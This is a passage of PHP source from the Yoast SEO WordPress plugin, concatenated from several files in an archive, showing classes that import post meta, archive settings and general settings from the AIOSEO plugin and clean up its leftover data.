	protected $indexable_to_postmeta;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	protected $indexable_helper;

	/**
	 * The social images provider service.
	 *
	 * @var Aioseo_Social_Images_Provider_Service
	 */
	protected $social_images_provider;

	/**
	 * Class constructor.
	 *
	 * @param Indexable_Repository                  $indexable_repository   The indexables repository.
	 * @param wpdb                                  $wpdb                   The WordPress database instance.
	 * @param Import_Cursor_Helper                  $import_cursor          The import cursor helper.
	 * @param Indexable_Helper                      $indexable_helper       The indexable helper.
	 * @param Indexable_To_Postmeta_Helper          $indexable_to_postmeta  The indexable_to_postmeta helper.
	 * @param Options_Helper                        $options                The options helper.
	 * @param Image_Helper                          $image                  The image helper.
	 * @param Sanitization_Helper                   $sanitization           The sanitization helper.
	 * @param Aioseo_Replacevar_Service             $replacevar_handler     The replacevar handler.
	 * @param Aioseo_Robots_Provider_Service        $robots_provider        The robots provider service.
	 * @param Aioseo_Robots_Transformer_Service     $robots_transformer     The robots transfomer service.
	 * @param Aioseo_Social_Images_Provider_Service $social_images_provider The social images provider service.
	 */
	public function __construct(
		Indexable_Repository $indexable_repository,
		wpdb $wpdb,
		Import_Cursor_Helper $import_cursor,
		Indexable_Helper $indexable_helper,
		Indexable_To_Postmeta_Helper $indexable_to_postmeta,
		Options_Helper $options,
		Image_Helper $image,
		Sanitization_Helper $sanitization,
		Aioseo_Replacevar_Service $replacevar_handler,
		Aioseo_Robots_Provider_Service $robots_provider,
		Aioseo_Robots_Transformer_Service $robots_transformer,
		Aioseo_Social_Images_Provider_Service $social_images_provider
	) {
		parent::__construct( $import_cursor, $options, $sanitization, $replacevar_handler, $robots_provider, $robots_transformer );

		$this->indexable_repository   = $indexable_repository;
		$this->wpdb                   = $wpdb;
		$this->image                  = $image;
		$this->indexable_helper       = $indexable_helper;
		$this->indexable_to_postmeta  = $indexable_to_postmeta;
		$this->social_images_provider = $social_images_provider;
	}

	// phpcs:disable WordPress.DB.PreparedSQL.NotPrepared -- Reason: They are already prepared.

	/**
	 * Returns the total number of unimported objects.
	 *
	 * @return int The total number of unimported objects.
	 */
	public function get_total_unindexed() {
		if ( ! $this->aioseo_helper->aioseo_exists() ) {
			return 0;
		}

		$limit                = false;
		$just_detect          = true;
		$indexables_to_create = $this->wpdb->get_col( $this->query( $limit, $just_detect ) );

		$number_of_indexables_to_create = \count( $indexables_to_create );
		$completed                      = $number_of_indexables_to_create === 0;
		$this->set_completed( $completed );

		return $number_of_indexables_to_create;
	}

	/**
	 * Returns the limited number of unimported objects.
	 *
	 * @param int $limit The maximum number of unimported objects to be returned.
	 *
	 * @return int|false The limited number of unindexed posts. False if the query fails.
	 */
	public function get_limited_unindexed_count( $limit ) {
		if ( ! $this->aioseo_helper->aioseo_exists() ) {
			return 0;
		}

		$just_detect          = true;
		$indexables_to_create = $this->wpdb->get_col( $this->query( $limit, $just_detect ) );

		$number_of_indexables_to_create = \count( $indexables_to_create );
		$completed                      = $number_of_indexables_to_create === 0;
		$this->set_completed( $completed );

		return $number_of_indexables_to_create;
	}

	/**
	 * Imports AIOSEO meta data and creates the respective Yoast indexables and postmeta.
	 *
	 * @return Indexable[]|false An array of created indexables or false if aioseo data was not found.
	 */
	public function index() {
		if ( ! $this->aioseo_helper->aioseo_exists() ) {
			return false;
		}

		$limit              = $this->get_limit();
		$aioseo_indexables  = $this->wpdb->get_results( $this->query( $limit ), \ARRAY_A );
		$created_indexables = [];

		$completed = \count( $aioseo_indexables ) === 0;
		$this->set_completed( $completed );

		// Let's build the list of fields to check their defaults, to identify whether we're gonna import AIOSEO data in the indexable or not.
		$check_defaults_fields = [];
		foreach ( $this->aioseo_to_yoast_map as $yoast_mapping ) {
			// We don't want to check all the imported fields.
			if ( ! \in_array( $yoast_mapping['yoast_name'], [ 'open_graph_image', 'twitter_image' ], true ) ) {
				$check_defaults_fields[] = $yoast_mapping['yoast_name'];
			}
		}

		$last_indexed_aioseo_id = 0;
		foreach ( $aioseo_indexables as $aioseo_indexable ) {
			$last_indexed_aioseo_id = $aioseo_indexable['id'];

			$indexable = $this->indexable_repository->find_by_id_and_type( $aioseo_indexable['post_id'], 'post' );

			// Let's ensure that the current post id represents something that we want to index (eg. *not* shop_order).
			if ( ! \is_a( $indexable, 'Yoast\WP\SEO\Models\Indexable' ) ) {
				continue;
			}

			if ( $this->indexable_helper->check_if_default_indexable( $indexable, $check_defaults_fields ) ) {
				$indexable = $this->map( $indexable, $aioseo_indexable );
				$this->indexable_helper->save_indexable( $indexable );

				// To ensure that indexables can be rebuild after a reset, we have to store the data in the postmeta table too.
				$this->indexable_to_postmeta->map_to_postmeta( $indexable );
			}

			$last_indexed_aioseo_id = $aioseo_indexable['id'];

			$created_indexables[] = $indexable;
		}

		$cursor_id = $this->get_cursor_id();
		$this->import_cursor->set_cursor( $cursor_id, $last_indexed_aioseo_id );

		return $created_indexables;
	}

	// phpcs:enable WordPress.DB.PreparedSQL.NotPrepared

	/**
	 * Maps AIOSEO meta data to Yoast meta data.
	 *
	 * @param Indexable $indexable        The Yoast indexable.
	 * @param array     $aioseo_indexable The AIOSEO indexable.
	 *
	 * @return Indexable The created indexables.
	 */
	public function map( $indexable, $aioseo_indexable ) {
		foreach ( $this->aioseo_to_yoast_map as $aioseo_key => $yoast_mapping ) {
			// For robots import.
			if ( isset( $yoast_mapping['robots_import'] ) && $yoast_mapping['robots_import'] ) {
				$yoast_mapping['subtype']                  = $indexable->object_sub_type;
				$indexable->{$yoast_mapping['yoast_name']} = $this->transform_import_data( $yoast_mapping['transform_method'], $aioseo_indexable, $aioseo_key, $yoast_mapping, $indexable );

				continue;
			}

			// For social images, like open graph and twitter image.
			if ( isset( $yoast_mapping['social_image_import'] ) && $yoast_mapping['social_image_import'] ) {
				$image_url = $this->transform_import_data( $yoast_mapping['transform_method'], $aioseo_indexable, $aioseo_key, $yoast_mapping, $indexable );

				// Update the indexable's social image only where there's actually a url to import, so as not to lose the social images that we came up with when we originally built the indexable.
				if ( ! empty( $image_url ) ) {
					$indexable->{$yoast_mapping['yoast_name']} = $image_url;

					$image_source_key             = $yoast_mapping['social_setting_prefix_yoast'] . 'image_source';
					$indexable->$image_source_key = 'imported';

					$image_id_key             = $yoast_mapping['social_setting_prefix_yoast'] . 'image_id';
					$indexable->$image_id_key = $this->image->get_attachment_by_url( $image_url );

					if ( $yoast_mapping['yoast_name'] === 'open_graph_image' ) {
						$indexable->open_graph_image_meta = null;
					}
				}
				continue;
			}

			// For twitter import, take the respective open graph data if the appropriate setting is enabled.
			if ( isset( $yoast_mapping['twitter_import'] ) && $yoast_mapping['twitter_import'] && $aioseo_indexable['twitter_use_og'] ) {
				$aioseo_indexable['twitter_title']       = $aioseo_indexable['og_title'];
				$aioseo_indexable['twitter_description'] = $aioseo_indexable['og_description'];
			}

			if ( ! empty( $aioseo_indexable[ $aioseo_key ] ) ) {
				$indexable->{$yoast_mapping['yoast_name']} = $this->transform_import_data( $yoast_mapping['transform_method'], $aioseo_indexable, $aioseo_key, $yoast_mapping, $indexable );
			}
		}

		return $indexable;
	}

	/**
	 * Transforms the data to be imported.
	 *
	 * @param string    $transform_method The method that is going to be used for transforming the data.
	 * @param array     $aioseo_indexable The data of the AIOSEO indexable data that is being imported.
	 * @param string    $aioseo_key       The name of the specific set of data that is going to be transformed.
	 * @param array     $yoast_mapping    Extra details for the import of the specific data that is going to be transformed.
	 * @param Indexable $indexable        The Yoast indexable that we are going to import the transformed data into.
	 *
	 * @return string|bool|null The transformed data to be imported.
	 */
	protected function transform_import_data( $transform_method, $aioseo_indexable, $aioseo_key, $yoast_mapping, $indexable ) {
		return \call_user_func( [ $this, $transform_method ], $aioseo_indexable, $aioseo_key, $yoast_mapping, $indexable );
	}

	/**
	 * Returns the number of objects that will be imported in a single importing pass.
	 *
	 * @return int The limit.
	 */
	public function get_limit() {
		/**
		 * Filter 'wpseo_aioseo_post_indexation_limit' - Allow filtering the number of posts indexed during each indexing pass.
		 *
		 * @param int $max_posts The maximum number of posts indexed.
		 */
		$limit = \apply_filters( 'wpseo_aioseo_post_indexation_limit', 25 );

		if ( ! \is_int( $limit ) || $limit < 1 ) {
			$limit = 25;
		}

		return $limit;
	}

	/**
	 * Populates the needed data array based on which columns we use from the AIOSEO indexable table.
	 *
	 * @return array The needed data array that contains all the needed columns.
	 */
	public function get_needed_data() {
		$needed_data = \array_keys( $this->aioseo_to_yoast_map );
		\array_push( $needed_data, 'id', 'post_id', 'robots_default', 'og_image_custom_url', 'og_image_type', 'twitter_image_custom_url', 'twitter_image_type', 'twitter_use_og' );

		return $needed_data;
	}

	/**
	 * Populates the needed robot data array to be used in validating against its structure.
	 *
	 * @return array The needed data array that contains all the needed columns.
	 */
	public function get_needed_robot_data() {
		$needed_robot_data = [];

		foreach ( $this->aioseo_to_yoast_map as $yoast_mapping ) {
			if ( isset( $yoast_mapping['robot_type'] ) ) {
				$needed_robot_data[] = $yoast_mapping['robot_type'];
			}
		}

		return $needed_robot_data;
	}

	/**
	 * Creates a query for gathering AiOSEO data from the database.
	 *
	 * @param int  $limit       The maximum number of unimported objects to be returned.
	 * @param bool $just_detect Whether we want to just detect if there are unimported objects. If false, we want to actually import them too.
	 *
	 * @return string The query to use for importing or counting the number of items to import.
	 */
	public function query( $limit = false, $just_detect = false ) {
		$table = $this->aioseo_helper->get_table();

		$select_statement = 'id';
		if ( ! $just_detect ) {
			// If we want to import too, we need the actual needed data from AIOSEO indexables.
			$needed_data = $this->get_needed_data();

			$select_statement = \implode( ', ', $needed_data );
		}

		$cursor_id = $this->get_cursor_id();
		$cursor    = $this->import_cursor->get_cursor( $cursor_id );

		/**
		 * Filter 'wpseo_aioseo_post_cursor' - Allow filtering the value of the aioseo post import cursor.
		 *
		 * @param int $import_cursor The value of the aioseo post import cursor.
		 */
		$cursor = \apply_filters( 'wpseo_aioseo_post_import_cursor', $cursor );

		$replacements = [ $cursor ];

		$limit_statement = '';
		if ( ! empty( $limit ) ) {
			$replacements[]  = $limit;
			$limit_statement = ' LIMIT %d';
		}

		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: There is no unescaped user input.
		return $this->wpdb->prepare(
			"SELECT {$select_statement} FROM {$table} WHERE id > %d ORDER BY id{$limit_statement}",
			$replacements
		);
		// phpcs:enable WordPress.DB.PreparedSQL.InterpolatedNotPrepared
	}

	/**
	 * Minimally transforms data to be imported.
	 *
	 * @param array  $aioseo_data All of the AIOSEO data to be imported.
	 * @param string $aioseo_key  The AIOSEO key that contains the setting we're working with.
	 *
	 * @return string The transformed meta data.
	 */
	public function simple_import_post( $aioseo_data, $aioseo_key ) {
		return $this->simple_import( $aioseo_data[ $aioseo_key ] );
	}

	/**
	 * Transforms URL to be imported.
	 *
	 * @param array  $aioseo_data All of the AIOSEO data to be imported.
	 * @param string $aioseo_key  The AIOSEO key that contains the setting we're working with.
	 *
	 * @return string The transformed URL.
	 */
	public function url_import_post( $aioseo_data, $aioseo_key ) {
		return $this->url_import( $aioseo_data[ $aioseo_key ] );
	}

	/**
	 * Plucks the keyphrase to be imported from the AIOSEO array of keyphrase meta data.
	 *
	 * @param array  $aioseo_data All of the AIOSEO data to be imported.
	 * @param string $aioseo_key  The AIOSEO key that contains the setting we're working with, aka keyphrases.
	 *
	 * @return string|null The plucked keyphrase.
	 */
	public function keyphrase_import( $aioseo_data, $aioseo_key ) {
		$meta_data = \json_decode( $aioseo_data[ $aioseo_key ], true );
		if ( ! isset( $meta_data['focus']['keyphrase'] ) ) {
			return null;
		}

		return $this->sanitization->sanitize_text_field( $meta_data['focus']['keyphrase'] );
	}

	/**
	 * Imports the post's noindex setting.
	 *
	 * @param bool $aioseo_robots_settings AIOSEO's set of robot settings for the post.
	 *
	 * @return bool|null The value of Yoast's noindex setting for the post.
	 */
	public function post_robots_noindex_import( $aioseo_robots_settings ) {
		// If robot settings defer to default settings, we have null in the is_robots_noindex field.
		if ( $aioseo_robots_settings['robots_default'] ) {
			return null;
		}

		return $aioseo_robots_settings['robots_noindex'];
	}

	/**
	 * Imports the post's robots setting.
	 *
	 * @param bool   $aioseo_robots_settings AIOSEO's set of robot settings for the post.
	 * @param string $aioseo_key             The AIOSEO key that contains the robot setting we're working with.
	 * @param array  $mapping                The mapping of the setting we're working with.
	 *
	 * @return bool|null The value of Yoast's noindex setting for the post.
	 */
	public function post_general_robots_import( $aioseo_robots_settings, $aioseo_key, $mapping ) {
		$mapping = $this->enhance_mapping( $mapping );

		if ( $aioseo_robots_settings['robots_default'] ) {
			// Let's first get the subtype's setting value and then transform it taking into consideration whether it defers to global defaults.
			$subtype_setting = $this->robots_provider->get_subtype_robot_setting( $mapping );
			return $this->robots_transformer->transform_robot_setting( $mapping['robot_type'], $subtype_setting, $mapping );
		}

		return $aioseo_robots_settings[ $aioseo_key ];
	}

	/**
	 * Enhances the mapping of the setting we're working with, with type and the option name, so that we can retrieve the settings for the object we're working with.
	 *
	 * @param array $mapping The mapping of the setting we're working with.
	 *
	 * @return array The enhanced mapping.
	 */
	public function enhance_mapping( $mapping = [] ) {
		$mapping['type']        = 'postTypes';
		$mapping['option_name'] = 'aioseo_options_dynamic';

		return $mapping;
	}

	/**
	 * Imports the og and twitter image url.
	 *
	 * @param bool      $aioseo_social_image_settings AIOSEO's set of social image settings for the post.
	 * @param string    $aioseo_key                   The AIOSEO key that contains the robot setting we're working with.
	 * @param array     $mapping                      The mapping of the setting we're working with.
	 * @param Indexable $indexable                    The Yoast indexable we're importing into.
	 *
	 * @return bool|null The url of the social image we're importing, null if there's none.
	 */
	public function social_image_url_import( $aioseo_social_image_settings, $aioseo_key, $mapping, $indexable ) {
		if ( $mapping['social_setting_prefix_aioseo'] === 'twitter_' && $aioseo_social_image_settings['twitter_use_og'] ) {
			$mapping['social_setting_prefix_aioseo'] = 'og_';
		}

		$social_setting = \rtrim( $mapping['social_setting_prefix_aioseo'], '_' );

		$image_type = $aioseo_social_image_settings[ $mapping['social_setting_prefix_aioseo'] . 'image_type' ];

		if ( $image_type === 'default' ) {
			$image_type = $this->social_images_provider->get_default_social_image_source( $social_setting );
		}

		switch ( $image_type ) {
			case 'attach':
				$image_url = $this->social_images_provider->get_first_attached_image( $indexable->object_id );
				break;
			case 'auto':
				if ( $this->social_images_provider->get_featured_image( $indexable->object_id ) ) {
					// If there's a featured image, lets not import it, as our indexable calculation has already set that as active social image. That way we achieve dynamicality.
					return null;
				}
				$image_url = $this->social_images_provider->get_auto_image( $indexable->object_id );
				break;
			case 'content':
				$image_url = $this->social_images_provider->get_first_image_in_content( $indexable->object_id );
				break;
			case 'custom_image':
				$image_url = $aioseo_social_image_settings[ $mapping['social_setting_prefix_aioseo'] . 'image_custom_url' ];
				break;
			case 'featured':
				return null; // Our auto-calculation when the indexable was built/updated has taken care of it, so it's not needed to transfer any data now.
			case 'author':
				return null;
			case 'custom':
				return null;
			case 'default':
				$image_url = $this->social_images_provider->get_default_custom_social_image( $social_setting );
				break;
			default:
				$image_url = $aioseo_social_image_settings[ $mapping['social_setting_prefix_aioseo'] . 'image_url' ];
				break;
		}

		if ( empty( $image_url ) ) {
			$image_url = $this->social_images_provider->get_default_custom_social_image( $social_setting );
		}

		if ( empty( $image_url ) ) {
			return null;
		}

		return $this->sanitization->sanitize_url( $image_url, null );
	}
}
wordpress-seo/src/actions/importing/aioseo/aioseo-default-archive-settings-importing-action.php000064400000005610147510273100027250 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Given it's a very specific case.
namespace Yoast\WP\SEO\Actions\Importing\Aioseo;

/**
 * Importing action for AIOSEO default archive settings data.
 *
 * @phpcs:disable Yoast.NamingConventions.ObjectNameDepth.MaxExceeded
 */
class Aioseo_Default_Archive_Settings_Importing_Action extends Abstract_Aioseo_Settings_Importing_Action {

	/**
	 * The plugin of the action.
	 */
	public const PLUGIN = 'aioseo';

	/**
	 * The type of the action.
	 */
	public const TYPE = 'default_archive_settings';

	/**
	 * The option_name of the AIOSEO option that contains the settings.
	 */
	public const SOURCE_OPTION_NAME = 'aioseo_options';

	/**
	 * The map of aioseo_options to yoast settings.
	 *
	 * @var array
	 */
	protected $aioseo_options_to_yoast_map = [];

	/**
	 * The tab of the aioseo settings we're working with.
	 *
	 * @var string
	 */
	protected $settings_tab = 'archives';

	/**
	 * Builds the mapping that ties AOISEO option keys with Yoast ones and their data transformation method.
	 *
	 * @return void
	 */
	protected function build_mapping() {
		$this->aioseo_options_to_yoast_map = [
			'/author/title'                       => [
				'yoast_name'       => 'title-author-wpseo',
				'transform_method' => 'simple_import',
			],
			'/author/metaDescription'             => [
				'yoast_name'       => 'metadesc-author-wpseo',
				'transform_method' => 'simple_import',
			],
			'/date/title'                         => [
				'yoast_name'       => 'title-archive-wpseo',
				'transform_method' => 'simple_import',
			],
			'/date/metaDescription'               => [
				'yoast_name'       => 'metadesc-archive-wpseo',
				'transform_method' => 'simple_import',
			],
			'/search/title'                       => [
				'yoast_name'       => 'title-search-wpseo',
				'transform_method' => 'simple_import',
			],
			'/author/advanced/robotsMeta/noindex' => [
				'yoast_name'       => 'noindex-author-wpseo',
				'transform_method' => 'import_noindex',
				'type'             => 'archives',
				'subtype'          => 'author',
				'option_name'      => 'aioseo_options',
			],
			'/date/advanced/robotsMeta/noindex'   => [
				'yoast_name'       => 'noindex-archive-wpseo',
				'transform_method' => 'import_noindex',
				'type'             => 'archives',
				'subtype'          => 'date',
				'option_name'      => 'aioseo_options',
			],
		];
	}

	/**
	 * Returns a setting map of the robot setting for author archives.
	 *
	 * @return array The setting map of the robot setting for author archives.
	 */
	public function pluck_robot_setting_from_mapping() {
		$this->build_mapping();

		foreach ( $this->aioseo_options_to_yoast_map as $setting ) {
			// Return the first archive setting map.
			if ( $setting['transform_method'] === 'import_noindex' && isset( $setting['subtype'] ) && $setting['subtype'] === 'author' ) {
				return $setting;
			}
		}

		return [];
	}
}
wordpress-seo/src/actions/importing/aioseo/aioseo-cleanup-action.php000064400000011022147510273100021762 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Given it's a very specific case.
namespace Yoast\WP\SEO\Actions\Importing\Aioseo;

use wpdb;
use Yoast\WP\SEO\Actions\Importing\Abstract_Aioseo_Importing_Action;
use Yoast\WP\SEO\Helpers\Options_Helper;

/**
 * Importing action for cleaning up AIOSEO data.
 */
class Aioseo_Cleanup_Action extends Abstract_Aioseo_Importing_Action {

	/**
	 * The plugin of the action.
	 */
	public const PLUGIN = 'aioseo';

	/**
	 * The type of the action.
	 */
	public const TYPE = 'cleanup';

	/**
	 * The AIOSEO meta_keys to be cleaned up.
	 *
	 * @var array
	 */
	protected $aioseo_postmeta_keys = [
		'_aioseo_title',
		'_aioseo_description',
		'_aioseo_og_title',
		'_aioseo_og_description',
		'_aioseo_twitter_title',
		'_aioseo_twitter_description',
	];

	/**
	 * The WordPress database instance.
	 *
	 * @var wpdb
	 */
	protected $wpdb;

	/**
	 * Class constructor.
	 *
	 * @param wpdb           $wpdb    The WordPress database instance.
	 * @param Options_Helper $options The options helper.
	 */
	public function __construct(
		wpdb $wpdb,
		Options_Helper $options
	) {
		$this->wpdb    = $wpdb;
		$this->options = $options;
	}

	/**
	 * Retrieves the postmeta along with the db prefix.
	 *
	 * @return string The postmeta table name along with the db prefix.
	 */
	protected function get_postmeta_table() {
		return $this->wpdb->prefix . 'postmeta';
	}

	/**
	 * Just checks if the cleanup has been completed in the past.
	 *
	 * @return int The total number of unimported objects.
	 */
	public function get_total_unindexed() {
		if ( ! $this->aioseo_helper->aioseo_exists() ) {
			return 0;
		}

		return ( ! $this->get_completed() ) ? 1 : 0;
	}

	/**
	 * Just checks if the cleanup has been completed in the past.
	 *
	 * @param int $limit The maximum number of unimported objects to be returned.
	 *
	 * @return int|false The limited number of unindexed posts. False if the query fails.
	 */
	public function get_limited_unindexed_count( $limit ) {
		if ( ! $this->aioseo_helper->aioseo_exists() ) {
			return 0;
		}

		return ( ! $this->get_completed() ) ? 1 : 0;
	}

	/**
	 * Cleans up AIOSEO data.
	 *
	 * @return Indexable[]|false An array of created indexables or false if aioseo data was not found.
	 */
	public function index() {
		if ( $this->get_completed() ) {
			return [];
		}

		// phpcs:disable WordPress.DB.PreparedSQL.NotPrepared -- Reason: There is no unescaped user input.
		$meta_data                  = $this->wpdb->query( $this->cleanup_postmeta_query() );
		$aioseo_table_truncate_done = $this->wpdb->query( $this->truncate_query() );
		// phpcs:enable WordPress.DB.PreparedSQL.NotPrepared

		if ( $meta_data === false && $aioseo_table_truncate_done === false ) {
			return false;
		}

		$this->set_completed( true );

		return [
			'metadata_cleanup'   => $meta_data,
			'indexables_cleanup' => $aioseo_table_truncate_done,
		];
	}

	/**
	 * Creates a DELETE query string for deleting AIOSEO postmeta data.
	 *
	 * @return string The query to use for importing or counting the number of items to import.
	 */
	public function cleanup_postmeta_query() {
		$table               = $this->get_postmeta_table();
		$meta_keys_to_delete = $this->aioseo_postmeta_keys;

		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: There is no unescaped user input.
		return $this->wpdb->prepare(
			"DELETE FROM {$table} WHERE meta_key IN (" . \implode( ', ', \array_fill( 0, \count( $meta_keys_to_delete ), '%s' ) ) . ')',
			$meta_keys_to_delete
		);
		// phpcs:enable WordPress.DB.PreparedSQL.InterpolatedNotPrepared
	}

	/**
	 * Creates a TRUNCATE query string for emptying the AIOSEO indexable table, if it exists.
	 *
	 * @return string The query to use for importing or counting the number of items to import.
	 */
	public function truncate_query() {
		if ( ! $this->aioseo_helper->aioseo_exists() ) {
			// If the table doesn't exist, we need a string that will amount to a quick query that doesn't return false when ran.
			return 'SELECT 1';
		}

		$table = $this->aioseo_helper->get_table();

		return "TRUNCATE TABLE {$table}";
	}

	/**
	 * Used nowhere. Exists to comply with the interface.
	 *
	 * @return int The limit.
	 */
	public function get_limit() {
		/**
		 * Filter 'wpseo_aioseo_cleanup_limit' - Allow filtering the number of posts indexed during each indexing pass.
		 *
		 * @param int $max_posts The maximum number of posts cleaned up.
		 */
		$limit = \apply_filters( 'wpseo_aioseo_cleanup_limit', 25 );

		if ( ! \is_int( $limit ) || $limit < 1 ) {
			$limit = 25;
		}

		return $limit;
	}
}
wordpress-seo/src/actions/importing/aioseo/aioseo-custom-archive-settings-importing-action.php000064400000007366147510273100027150 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Given it's a very specific case.
namespace Yoast\WP\SEO\Actions\Importing\Aioseo;

use Yoast\WP\SEO\Helpers\Import_Cursor_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Post_Type_Helper;
use Yoast\WP\SEO\Helpers\Sanitization_Helper;
use Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Replacevar_Service;
use Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Robots_Provider_Service;
use Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Robots_Transformer_Service;

/**
 * Importing action for AIOSEO custom archive settings data.
 *
 * @phpcs:disable Yoast.NamingConventions.ObjectNameDepth.MaxExceeded
 */
class Aioseo_Custom_Archive_Settings_Importing_Action extends Abstract_Aioseo_Settings_Importing_Action {

	/**
	 * The plugin of the action.
	 */
	public const PLUGIN = 'aioseo';

	/**
	 * The type of the action.
	 */
	public const TYPE = 'custom_archive_settings';

	/**
	 * The option_name of the AIOSEO option that contains the settings.
	 */
	public const SOURCE_OPTION_NAME = 'aioseo_options_dynamic';

	/**
	 * The map of aioseo_options to yoast settings.
	 *
	 * @var array
	 */
	protected $aioseo_options_to_yoast_map = [];

	/**
	 * The tab of the aioseo settings we're working with.
	 *
	 * @var string
	 */
	protected $settings_tab = 'archives';

	/**
	 * The post type helper.
	 *
	 * @var Post_Type_Helper
	 */
	protected $post_type;

	/**
	 * Aioseo_Custom_Archive_Settings_Importing_Action constructor.
	 *
	 * @param Import_Cursor_Helper              $import_cursor      The import cursor helper.
	 * @param Options_Helper                    $options            The options helper.
	 * @param Sanitization_Helper               $sanitization       The sanitization helper.
	 * @param Post_Type_Helper                  $post_type          The post type helper.
	 * @param Aioseo_Replacevar_Service         $replacevar_handler The replacevar handler.
	 * @param Aioseo_Robots_Provider_Service    $robots_provider    The robots provider service.
	 * @param Aioseo_Robots_Transformer_Service $robots_transformer The robots transfomer service.
	 */
	public function __construct(
		Import_Cursor_Helper $import_cursor,
		Options_Helper $options,
		Sanitization_Helper $sanitization,
		Post_Type_Helper $post_type,
		Aioseo_Replacevar_Service $replacevar_handler,
		Aioseo_Robots_Provider_Service $robots_provider,
		Aioseo_Robots_Transformer_Service $robots_transformer
	) {
		parent::__construct( $import_cursor, $options, $sanitization, $replacevar_handler, $robots_provider, $robots_transformer );

		$this->post_type = $post_type;
	}

	/**
	 * Builds the mapping that ties AOISEO option keys with Yoast ones and their data transformation method.
	 *
	 * @return void
	 */
	protected function build_mapping() {
		$post_type_objects = \get_post_types( [ 'public' => true ], 'objects' );

		foreach ( $post_type_objects as $pt ) {
			// Use all the custom post types that have archives.
			if ( ! $pt->_builtin && $this->post_type->has_archive( $pt ) ) {
				$this->aioseo_options_to_yoast_map[ '/' . $pt->name . '/title' ]                       = [
					'yoast_name'       => 'title-ptarchive-' . $pt->name,
					'transform_method' => 'simple_import',
				];
				$this->aioseo_options_to_yoast_map[ '/' . $pt->name . '/metaDescription' ]             = [
					'yoast_name'       => 'metadesc-ptarchive-' . $pt->name,
					'transform_method' => 'simple_import',
				];
				$this->aioseo_options_to_yoast_map[ '/' . $pt->name . '/advanced/robotsMeta/noindex' ] = [
					'yoast_name'       => 'noindex-ptarchive-' . $pt->name,
					'transform_method' => 'import_noindex',
					'type'             => 'archives',
					'subtype'          => $pt->name,
					'option_name'      => 'aioseo_options_dynamic',
				];
			}
		}
	}
}
wordpress-seo/src/actions/importing/aioseo/aioseo-general-settings-importing-action.php000064400000013752147510273100025630 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Given it's a very specific case.
namespace Yoast\WP\SEO\Actions\Importing\Aioseo;

use Yoast\WP\SEO\Helpers\Image_Helper;
use Yoast\WP\SEO\Helpers\Import_Cursor_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Sanitization_Helper;
use Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Replacevar_Service;
use Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Robots_Provider_Service;
use Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Robots_Transformer_Service;

/**
 * Importing action for AIOSEO general settings.
 */
class Aioseo_General_Settings_Importing_Action extends Abstract_Aioseo_Settings_Importing_Action {

	/**
	 * The plugin of the action.
	 */
	public const PLUGIN = 'aioseo';

	/**
	 * The type of the action.
	 */
	public const TYPE = 'general_settings';

	/**
	 * The option_name of the AIOSEO option that contains the settings.
	 */
	public const SOURCE_OPTION_NAME = 'aioseo_options';

	/**
	 * The map of aioseo_options to yoast settings.
	 *
	 * @var array
	 */
	protected $aioseo_options_to_yoast_map = [];

	/**
	 * The tab of the aioseo settings we're working with.
	 *
	 * @var string
	 */
	protected $settings_tab = 'global';

	/**
	 * The image helper.
	 *
	 * @var Image_Helper
	 */
	protected $image;

	/**
	 * Aioseo_General_Settings_Importing_Action constructor.
	 *
	 * @param Import_Cursor_Helper              $import_cursor      The import cursor helper.
	 * @param Options_Helper                    $options            The options helper.
	 * @param Sanitization_Helper               $sanitization       The sanitization helper.
	 * @param Image_Helper                      $image              The image helper.
	 * @param Aioseo_Replacevar_Service         $replacevar_handler The replacevar handler.
	 * @param Aioseo_Robots_Provider_Service    $robots_provider    The robots provider service.
	 * @param Aioseo_Robots_Transformer_Service $robots_transformer The robots transfomer service.
	 */
	public function __construct(
		Import_Cursor_Helper $import_cursor,
		Options_Helper $options,
		Sanitization_Helper $sanitization,
		Image_Helper $image,
		Aioseo_Replacevar_Service $replacevar_handler,
		Aioseo_Robots_Provider_Service $robots_provider,
		Aioseo_Robots_Transformer_Service $robots_transformer
	) {
		parent::__construct( $import_cursor, $options, $sanitization, $replacevar_handler, $robots_provider, $robots_transformer );

		$this->image = $image;
	}

	/**
	 * Builds the mapping that ties AOISEO option keys with Yoast ones and their data transformation method.
	 *
	 * @return void
	 */
	protected function build_mapping() {
		$this->aioseo_options_to_yoast_map = [
			'/separator'               => [
				'yoast_name'       => 'separator',
				'transform_method' => 'transform_separator',
			],
			'/siteTitle'               => [
				'yoast_name'       => 'title-home-wpseo',
				'transform_method' => 'simple_import',
			],
			'/metaDescription'         => [
				'yoast_name'       => 'metadesc-home-wpseo',
				'transform_method' => 'simple_import',
			],
			'/schema/siteRepresents'   => [
				'yoast_name'       => 'company_or_person',
				'transform_method' => 'transform_site_represents',
			],
			'/schema/person'           => [
				'yoast_name'       => 'company_or_person_user_id',
				'transform_method' => 'simple_import',
			],
			'/schema/organizationName' => [
				'yoast_name'       => 'company_name',
				'transform_method' => 'simple_import',
			],
			'/schema/organizationLogo' => [
				'yoast_name'       => 'company_logo',
				'transform_method' => 'import_company_logo',
			],
			'/schema/personLogo'       => [
				'yoast_name'       => 'person_logo',
				'transform_method' => 'import_person_logo',
			],
		];
	}

	/**
	 * Imports the organization logo while also accounting for the id of the log to be saved in the separate Yoast option.
	 *
	 * @param string $logo_url The company logo url coming from AIOSEO settings.
	 *
	 * @return string The transformed company logo url.
	 */
	public function import_company_logo( $logo_url ) {
		$logo_id = $this->image->get_attachment_by_url( $logo_url );
		$this->options->set( 'company_logo_id', $logo_id );

		$this->options->set( 'company_logo_meta', false );
		$logo_meta = $this->image->get_attachment_meta_from_settings( 'company_logo' );
